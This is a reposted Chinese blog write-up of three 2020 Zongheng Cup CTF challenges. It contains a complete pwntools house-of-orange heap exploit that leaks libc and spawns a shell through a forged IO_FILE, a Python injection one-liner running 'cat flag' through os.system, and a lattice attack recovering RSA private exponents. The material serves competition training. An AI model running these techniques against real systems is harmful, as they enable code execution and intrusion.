

2020-12-30

转载

[weixin_46315812](#)



于 2020-12-30 08:53:02 发布



64



收藏

原文链接: https://blog.csdn.net/Kr0ne/article/details/111824668?depth_1-

版权

纵横杯2020

原创



[Kr0ne](#) 2020-12-27 19:26:54

1084

收藏

最后发布:2020-12-27 19:26:54 首次发布:2020-12-27 19:26:54

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/Kr0ne/article/details/111824668>

版权

wind_farm_panel

保护全开

```
daidaishou:~/Desktop/纵横杯/wind_farm_panel$ checksec ./pwn
[*] '/home/daidaishou/Desktop/纵横杯/wind_farm_panel/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
```

分析一波发现输入永远是0x1000可以溢出, 然后是没有dele。

那就是house of orange了, 贴个脚本。

```
from pwn import *
context.log_level = 'debug'
```

```
# p = process('./pwn')
elf = ELF('./pwn')
# libc = elf.libc
libc = ELF('./libc-2.23.so')
p = remote("182.92.203.154", 28452)
```

```

def add(idx, size, content):
p.sendlineafter('>>', '1')
p.sendlineafter(':', str(idx))
p.sendlineafter(':', str(size))
p.sendafter(':', content)

def show(idx):
p.sendlineafter('>>', '2')
p.sendlineafter(':', str(idx))

def edit(idx, content):
p.sendlineafter('>>', '3')
p.sendlineafter(':', str(idx))
p.sendafter(':', content)

gdb.attach(p)
add(0, 0x108, 'aaaa')
edit(0, b'\x00' * 0x108 + p64(0xef1))
add(1, 0x1000, 'bbbb')
add(2, 0x108, 'c' * 8)
show(2)
p.recvuntil('c8')
leak = u64(p.recv(6) + b'\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 0x678
log.info('libc: ' + hex(libc_base))
_IO_list_all = libc_base + libc.sym['_IO_list_all']
payload = 'A' * 0xF + 'B'
edit(2, payload)
show(2)
p.recvuntil('B')
leak = u64(p.recv(6).ljust(8, b'\x00'))
heap_base = leak - 0x110
log.info('heap: ' + hex(heap_base))
payload = b'\x00' * 0x100
io_file = b'/bin/sh\x00'
io_file += p64(0x61) + p64(0) + p64(_IO_list_all - 0x10) + p64(0) + p64(1)
io_file = io_file.ljust(0xc0, b'\x00')
payload += io_file
payload += p64(0) * 3 + p64(heap_base + 0x300 - 8) + p64(0) * 2 + p64(libc_base + libc.sym['system']) #
edit(2, payload)
# p.sendlineafter('>>', '1')
# p.sendlineafter(':', str(3))
# p.sendlineafter(':', str(0x600))

p.interactive()

```

1
2
3
4
5
6

7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

下载附件，打开start.sh看到一个python2，就试了一下

```
__import__('os').system('cat flag')
```

1

common

看上去两组d都很大，但是都不满足约束，参考翅膀师傅博客得到这个。

```
e1 = 287209708759234316510963394328541725282582659544618656746405509054602543961537811896745473416875774
e2 = 131021266002802786854388653080729140273443902141665778170604465113620346076511262124829371838724811
n = 159077408219654697980513139040067154659570696914750036579069691821723381989448459903137588324720148
c1 = 392711608361622137284055488535004676101715890376413479829500673683502964087171303024110999628910206
c2 = 110634730206758314143299987274063428286038998145950564495694821227767810635503047321085509089258349
import gmpy2
def long_to_bytes(x):
    return bytes.fromhex(hex(x)[2:])
```

```
for i in range(731, 682, -1):
    print(i)
    alpha2 = i / 2048
    M1 = round(n ^ 0.5)
    M2 = round(n ^ (1 + alpha2))
    A = Matrix(ZZ, [
        [n, -M1n, 0, n^2],
        [0, M1e1, -M2e1, -e1n],
        [0, 0, M2e2, -e2n],
        [0, 0, 0, e1e2]
    ])
    AL = A.LLL()
    C = Matrix(ZZ, AL[0])
    B = A.solve_left(C)[0]
    phi1 = floor(e1 B[1] / B[0])
    phi2 = floor(e2 * B[2] / B[0])
    d1 = gmpy2.invert(e1, phi1)
    d2 = gmpy2.invert(e2, phi2)
    m1 = long_to_bytes(pow(c1, d1, n))
    m2 = long_to_bytes(pow(c2, d2, n))
    m = m1+m2
    if b'flag' in m:
        print(m)
```

- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32

[【2020第四届“强网杯”全国网络安全挑战赛】强网先锋 Funhash](#)
[weixin_45844670](#)的博客



08-24 314

题目链接: <http://39.101.177.96/> <?php include 'conn.php'; highlight_file("index.php"); //level 1 if (\$_GET["hash1"] != hash("md4", \$_GET["hash1"])) { die("level 1 failed"); }
//level 2
if(\$_GET["hash2"] === ET[hash3]||md5(\$_GET['hash2']) !== md5(

[i春秋2020新春公益赛WEB复现Writeup](#)
[A_dmin](#)的博客



02-24 2631

Day1 简单的招聘系统 ezupload babyphp 盲注 Day2 blacklist Ezsqli easysqli_copy Day3 Flaskapp easy_thinking ezExpress
node_game



```
<textarea class="comment-content" name="comment_content" id="comment_content" placeholder="优质评论可以帮助作者获得更高权重" maxlength="1000"></textarea>
<div class="comment-emoticon"></div>
<span class="comment-emoticon-tip">插入表情</span>
<div class="comment-emoticon-box">
  <div class="comment-emoticon-img-box">
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
```



```











</div>
</div>
<div class="opt-box">
<div id="ubbtools" class="add_code">
<a href="#insertcode" code="code" target="_self"><i class="icon iconfont icon-daima"></i></a>
</div>
<input type="hidden" id="comment_replyId" name="comment_replyId">
<input type="hidden" id="article_id" name="article_id" value="111824668">
<input type="hidden" id="comment_userId" name="comment_userId" value="">
<input type="hidden" id="commentId" name="commentId" value="">
<div class="dropdown" id="myDrap">
<a class="dropdown-face d-flex align-items-center" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">
<div class="txt-selected text-truncate">添加代码片</div>
<svg class="icon d-block" width="200px" height="100.00px" viewBox="0 0 2048 1024" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M597.33333292 298.666667h853.333334L1023.9999992 725.333333 597.333333 597.33333292 298.666667z"/></path></svg>
</a>
<ul class="dropdown-menu" id="commentCode" aria-labelledby="drop4">
<li><a data-code="html">HTML/XML</a></li>
<li><a data-code="objc">Objective-C</a></li>
<li><a data-code="ruby">Ruby</a></li>
<li><a data-code="php">PHP</a></li>
<li><a data-code="csharp">C#</a></li>
<li><a data-code="cpp">C++</a></li>
<li><a data-code="javascript">JavaScript</a></li>
<li><a data-code="python">Python</a></li>
<li><a data-code="java">Java</a></li>
<li><a data-code="css">CSS</a></li>
<li><a data-code="sql">SQL</a></li>
<li><a data-code="plain">其它</a></li>
</ul>
</div>
<div class="right-box" id="rightBox" data-type="2">
<span id="tip_comment" class="tip">还能输入<em>1000</em>个字符</span>
<a data-report-click="{&quot;spm&quot;:&quot;&quot;3001.4374&quot;}" class="btn btn-sm btn-quick-comment" id="quickComment">“速评一下”</a>
<a data-report-click="{&quot;mod&quot;:&quot;&quot;1582594662_003&quot;,&quot;spm&quot;:&quot;&quot;1001.2101.3001.4227&quot;,&quot;ab&quot;:&quot;&quot;new&quot;}"><input type="submit" class="btn btn-sm btn-comment" value="发表评论"></a>
```



```
</div>
</div>
</form>
<input type="button" class="bt-comment-show" value="评论">
</div>
<div class="comment-list-container" style="display: block;">
<a id="comments"></a>
<div class="comment-list-box"><ul class="comment-list"><li class="comment-line-box d-flex" data-commentid="14400091" data-replyname="qq_37924905"><div style="display: flex; width: 100%;> <a target="_blank" href="https://blog.csdn.net/qq_37924905"></a> <div class="right-box "> <div class="new-info-box clearfix"> <a class="comment-tag" target="_blank" href="https://blog.csdn.net/blogdevteam/article/details/103478461">爱码士</a><a target="_blank" href="https://blog.csdn.net/qq_37924905"><span class="name ">水巷石子</span></a><span class="colon">:</span></span><span class="floor-num"></span><span class="new-comment">看君一席文，胜读十年书！</span><span class="date" title="2020-12-29 18:30:37">14 小时前</span><span class="new-opt-floating"><a class="btn-bt btn-reply" data-type="reply" data-flag="true">回复</a><a class="btn-bt btn-report"><span data-type="report" class="hide-report">举报</span></a></span></div><div class="comment-like " data-commentid="14400091"><span></span></div></div></li></ul><ul class="comment-list"><li class="comment-line-box d-flex" data-commentid="14396052" data-replyname="qq_40542534"><div style="display: flex; width: 100%;> <a target="_blank" href="https://blog.csdn.net/qq_40542534"></a> <div class="right-box "> <div class="new-info-box clearfix"> <a class="comment-tag" target="_blank" href="https://blog.csdn.net/blogdevteam/article/details/103478461">爱码士</a><a target="_blank" href="https://blog.csdn.net/qq_40542534"><span class="name ">strive_day</span></a><span class="colon">:</span></span><span class="floor-num"></span><span class="new-comment">很好的文章，点赞</span><span class="date" title="2020-12-29 15:08:34">17 小时前</span><span class="new-opt-floating"><a class="btn-bt btn-reply" data-type="reply" data-flag="true">回复</a><a class="btn-bt btn-report"><span data-type="report" class="hide-report">举报</span></a></span></div><div class="comment-like " data-commentid="14396052"><span></span></div></div></li></ul><ul class="comment-list"><li class="comment-line-box d-flex" data-commentid="14391643" data-replyname="qq_37960603"><div style="display: flex; width: 100%;> <a target="_blank" href="https://blog.csdn.net/qq_37960603"></a> <div class="right-box "> <div class="new-info-box clearfix"> <a class="comment-tag" target="_blank" href="https://blog.csdn.net/blogdevteam/article/details/103478461">爱码士</a><a target="_blank" href="https://blog.csdn.net/qq_37960603"><span class="name ">ITKaven</span></a><span class="colon">:</span></span><span class="floor-num"></span><span class="new-comment">博主不光能写的一手好代码，还能写的一手好文章。</span><span class="date" title="2020-12-29 10:43:55">22 小时前</span><span class="new-opt-floating"><a class="btn-bt btn-reply" data-type="reply" data-flag="true">回复</a><a class="btn-bt btn-report"><span data-type="report" class="hide-report">举报</span></a></span></div><div class="comment-like " data-commentid="14391643"><span></span></div></div></li></ul><ul class="comment-list"><li class="comment-line-box d-flex" data-commentid="14390861" data-replyname="kimol_justdo"><div style="display: flex; width: 100%;> <a target="_blank" href="https://blog.csdn.net/kimol_justdo"></a> <div class="right-box "> <div class="new-info-box clearfix"> <a class="comment-tag" target="_blank" href="https://blog.csdn.net/blogdevteam/article/details/103478461">爱码士</a><a target="_blank" href="https://blog.csdn.net/kimol_justdo"><span class="name ">不正经的kimol君</span></a><span class="colon">:</span></span><span class="floor-num"></span><span class="new-comment">大佬，我准备跟你混了！</span><span class="date" title="2020-12-29 10:06:15">22 小时前</span><span class="new-opt-floating"><a class="btn-bt btn-reply" data-type="reply" data-flag="true">回复</a><a class="btn-bt btn-report"><span data-type="report" class="hide-report">举报</span></a></span></div><div class="comment-like " data-commentid="14390861"><span></span></div></div></li></ul><ul class="comment-list"><li class="comment-line-box d-flex" data-commentid="14378663" data-replyname="weixin_44671737"><div style="display: flex; width: 100%;> <a target="_blank" href="https://blog.csdn.net/weixin_44671737"></a> <div class="right-box "> <div class="new-info-box clearfix"> <a class="comment-tag" target="_blank" href="https://blog.csdn.net/blogdevteam/article/details/103478461">爱码士</a><a target="_blank" href="https://blog.csdn.net/weixin_44671737"><span class="name ">weixin_44671737</span></a><span class="colon">:</span></span><span class="floor-num"></span><span class="new-comment">大佬，我准备跟你混了！</span><span class="date" title="2020-12-29 10:06:15">22 小时前</span><span class="new-opt-floating"><a class="btn-bt btn-reply" data-type="reply" data-flag="true">回复</a><a class="btn-bt btn-report"><span data-type="report" class="hide-report">举报</span></a></span></div><div class="comment-like " data-commentid="14378663"><span></span></div></div></li></ul></div></div>
```

```
ay: flex; width: 100%;"> <a target="_blank" href="https://blog.csdn.net/weixin_44671737"></a> <div class="right-box"> <div class="new-info-box clearfix"> <a class="comment-tag" target="_blank" href="https://blog.csdn.net/blogdevteam/article/details/103478461">爱码士</a><a target="_blank" href="https://blog.csdn.net/weixin_44671737"><span class="name">兴趣使然的程序猿</span></a><span class="colon">:</span><span class="floor-num"></span><span class="new-comment">666, 反手就是一个赞, 欢迎回赞哦~</span><span class="date" title="2020-12-28 13:38:04">昨天</span><span class="new-opt-floating"><a class="btn-bt btn-reply" data-type="reply" data-flag="true">回复</a><a class="btn-bt btn-report"><span data-type="report" class="hide-report">举报</span></a></span></div><div class="comment-like" data-commentid="14378663"><span></span></div></div></li></ul><ul class="comment-list"><li class="comment-line-box d-flex" data-commentid="14375093" data-replyname="weixin_46036037"><div style="display: flex; width: 100%;"> <a target="_blank" href="https://blog.csdn.net/weixin_46036037"></a> <div class="right-box"> <div class="new-info-box clearfix"> <a class="comment-tag" target="_blank" href="https://blog.csdn.net/blogdevteam/article/details/103478461">码哥</a><a target="_blank" href="https://blog.csdn.net/weixin_46036037"><span class="name">hiya2021</span></a><span class="colon">:</span><span class="floor-num"></span><span class="new-comment">大佬好, babymaze2具体怎么解的能详细说一下吗? 萌新不太懂.
```

`import('os').system('cat flag')`//这代码要怎么让远端执行? 昨天 [回复](#) [举报](#)



-
- <
- 1
- >
-

</div>

2020 互联网公司端午礼盒大比拼!

[cainiao_python](#) 的博客



06-26 352

本文经BAT (id:batfun) 授权转载今年的端午节, 互联网大厂们给自家员工都发了啥福利, 一起来看看2020 互联网公司端午礼盒大比拼——01 字节跳动字节跳动的礼盒很有意思, 内盒可以DI...

[PHP反序列化入门之phar](#)

[weixin_44304686](#) 的博客



06-12 167

原文链接: <https://mochazz.github.io/2019/02/02/PHP反序列化入门之phar/> phar介绍

简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中，而且不经过解压就能被php访问并执行，与file://php://等类似，也是一种流包装器。

phar结构由4部分组成

stub phar 文件标识，格式为xxx<?php x...

2020 纵横 杯网络安全竞赛web-wp_Firebasky的博客

12-27

2020 纵横 杯网络安全竞赛web-wp 一键三连 点赞Mark关注该博主,随时了解TA的最新博文 [CTF]网鼎 杯2020-青龙组-Web-FileJava-WriteUp

纵横 杯mosaicWP_怎么改昵称的博客

12-27

题目来源[https://race.ichunqiu.com/competition?](https://race.ichunqiu.com/competition?k=Xj9SZAs0UGABe1Y4UDtQMwtoBWNepVBIbG0DZwJlBjAFb1psXWcGNQY3VmRTbg%3D%3D)

k=Xj9SZAs0UGABe1Y4UDtQMwtoBWNepVBIbG0DZwJlBjAFb1psXWcGNQY3VmRTbg%3D%3D 纵横 杯马赛克下载下题目发现是一...

《进击的虫师》爬取豆瓣电影海报Top250 (2020年10月23日更新)

[zhaolee的CSDN博客](#)



10-23 458

title: 有人想学一点编程,但是一直没有找到感兴趣的切入点,可以简单的爬虫入手!几十行代码,轻松爬取豆瓣Top250电影数据,即刻体会编程的乐趣...

给人用的爬虫工具Requests

工具介绍:

Python3(python是很容易上手的编程语言,非常适合编程新手)

Requests(这是Python的一个开发库,简洁好用)

lxml (可以通过xpath语法,按需...

10年老电脑如何提速_2020年10月如何挑选轻薄本/轻薄型笔记本电脑? (适合大学生、工作党) ...

[weixin_39713578的博客](#)



11-02 16

【更新: 加入 联想小新Pro14、联想Yoga 14s、惠普战66第四代 三款机型】【更新: 加入 华硕灵耀X 纵横、华硕X逍遥 两款机型】【更新: 加入 联想小新Air15、联想Thinbook14/15/15p 三款机型】【更新: 加入 惠普战X 锐龙版 机型】【更新: 加入 联想Y9000X、机械革命Umi Pro II、华为Matebook13 三款机型】(本文于2020年8月7日发表,不定时更新,建...

纵横 杯-re部分_20000s的博客

12-27

纵横 杯-re部分 friednly re sub413590 sub4120c0 sub412040 sub411db0 sub41123f是关键函数 main函数中先nop掉几个指令,能够输入...

纵横 杯签到题_█ 诺克发█ 的博客

12-27

纵横 杯签到题 解法 一连串4位数,但不在a~z的ASCII码值之间,所以应该不是十进制数,是八进制数,转成字符,发现得到了flag。

flag{w3lcome_to_2ong_h3ng_be1...

浓缩就是精华

天下文章一大抄，只有做得好，没有抄的好!



03-25 2万+

『凡人牧场』人生启示录：被称为世上最经典的25句话(转载) 作者：晶晶鱼 提交日期：2003-12-31 15:32:40 1，记住该记住的，忘记该忘记的。改变能改变的，接受不能改变的。 2，能冲刷一切的除了眼泪，就是时间，以时间来推

移感情，时间越长，冲突越淡，仿佛不断稀释的茶。

3，怨言是上天得至人类最大的供物，也是人

湖南省中职学业水平考试复习试题(语文)

Android&Java&C



05-21 2万+

语文文化科题库

选择题

1. 下列选项中的词语书写有错误的一项是 (B)

A.湿润 脑髓 B.锐智 自栩 C.大度 丰富 D.蛮横 磕头

2. 下列选项中的惯用词语，使用不得体的一项是 (C)

A. 学生给一位刚刚病愈后的老师写的信，最后的致敬语是“敬祝痊安”。

B. 有位海外游子给其祖父写信，落款是“XX顿首”。

C. 有位长辈给侄儿写信说：“此事望你钧裁。”

D. 给朋友写信，末...

纵横 杯babymaze1WP_怎么改昵称的博客

12-27

题目来源:[https://race.ichunqiu.com/competition?](https://race.ichunqiu.com/competition?k=Xj9SZAs0UGABe1Y4UDtQMwt0BWNepVBIbG0DZwJlBjAFb1psXWcGNQY3VmRTbg%3D%3D)

k=Xj9SZAs0UGABe1Y4UDtQMwt0BWNepVBIbG0DZwJlBjAFb1psXWcGNQY3VmRTbg%3D%3D 纵横 杯babymaze1根据题目进行...

纵横 杯CTF部分WEB题解_ChenZIDu的博客

12-27

纵横 杯CTF部分WEB题解 easyci 一道SQL注入题,大概思路:sql注入写入shell,读取flag文件。sqlmap先读取"/etc/apache2/apache2.conf"内容。

人民币对内大幅贬值!

魔笛的序曲



09-07 814

乍看这个题目，很多人第一个反应就是写错了。人民币面临巨大的升值压力，何来贬值而言？不错，对外升值，对内贬值——国际市场上，人民币VS美元要升值，在国内人民币VS大排面要贬值。

1、美元公式：一个很重要的公式是我们一切分析的基础：美元报价=人民币报价*汇率。如一只中国产的茶杯，价格4元，人民币汇率8.27，茶杯卖到美国，报价为4/8.27=0.5元美元。美国抱怨中国货太便宜，0.5美元的

人民币大贬值!30元一碗面为期不远!

lightninglu的专栏



05-30 1806

人民币大贬值!30元一碗面为期不远! (转) 作者: 流舸 人民币大贬值!30元一碗面为期不远! 这篇文章最近很火, 确实听说过人民币顶住压力不升值的说法, 原因是那样会降低出口的利润, 但是我看了好几遍, 怎么就看不懂呢? @_@哪位财经高人路过解释一下... 乍看这个题目, 很多人第一个反应就是写错了。人民币面临巨大的升值压力, 何来贬值而言? 不错, 对外升值, 对内贬值-国际市场上, 人民币VS美元要升值, 在

PWN的一些做题记录_Zoxiee的博客

12-30

纵横杯 wind_farm_panel 难点:无 程序:任意改堆块头数据,造成溢出,无free,与hitcon2016 houoforange基本一样 直接houseof orange改topchunk->size让他进入unsorte...

© 2020 CSDN 皮肤主题: 1024 设计师: 上身试试 [返回首页](#)

- [关于我们](#)
- [招贤纳士](#)
- [广告服务](#)
- [开发助手](#)

□

- [400-660-0108](#)

□

- kefu@csdn.net

□

- [在线客服](#)
- [工作时间 8:30-22:00](#)

□

- [公安备案号11010502030143](#)
- [京ICP备19004658号](#)
- [京网文\(2020\)1039-165号](#)
- [经营性网站备案信息](#)
- [北京互联网违法和不良信息举报中心](#)
- [网络110报警服务](#)
- [中国互联网举报中心](#)
- [家长监护](#)
- [Chrome商店下载](#)
- [©1999-2020北京创新乐知网络技术有限公司](#)
- [版权与免责声明](#)
- [版权申诉](#)





码龄1年 暂无认证

11

原创

16万+

周排名

38万+

总排名

8040

访问



等级

186

积分

11

粉丝

8

获赞

25

评论

21

收藏



私信
关注

□

热门文章

- [西湖论剑wp](#) 2737
- [差分攻击DES](#) 2718
- [纵横杯2020](#) 570
- [RSA-OAEP 基于python实现](#) 790
- [CTFshow月饼杯crypto部分wp](#) 236

分类专栏



- [ctf 6篇](#)

最新评论

- [纵横杯2020](#)
[水巷石子](#): 看君一席文，胜读十年书!
- [纵横杯2020](#)
[strive_day](#): 很好的文章，点赞
- [纵横杯2020](#)
[ITKaven](#): 博主不光能写的一手好代码，还能写的一手好文章。
- [纵横杯2020](#)
[不正经的kimol君](#): 大佬，我准备跟你混了!
- [纵横杯2020](#)
[兴趣使然的程序猿](#): 666，反手就是一个赞，欢迎回赞哦~

最新文章

- [花式Ret2dl](#)
- [HECTF&X1CTF](#)
- [RoarCTF](#)

2020年11篇

目录

1. [wind_farm_panel](#)
2. [babymaze2](#)
3. [common](#)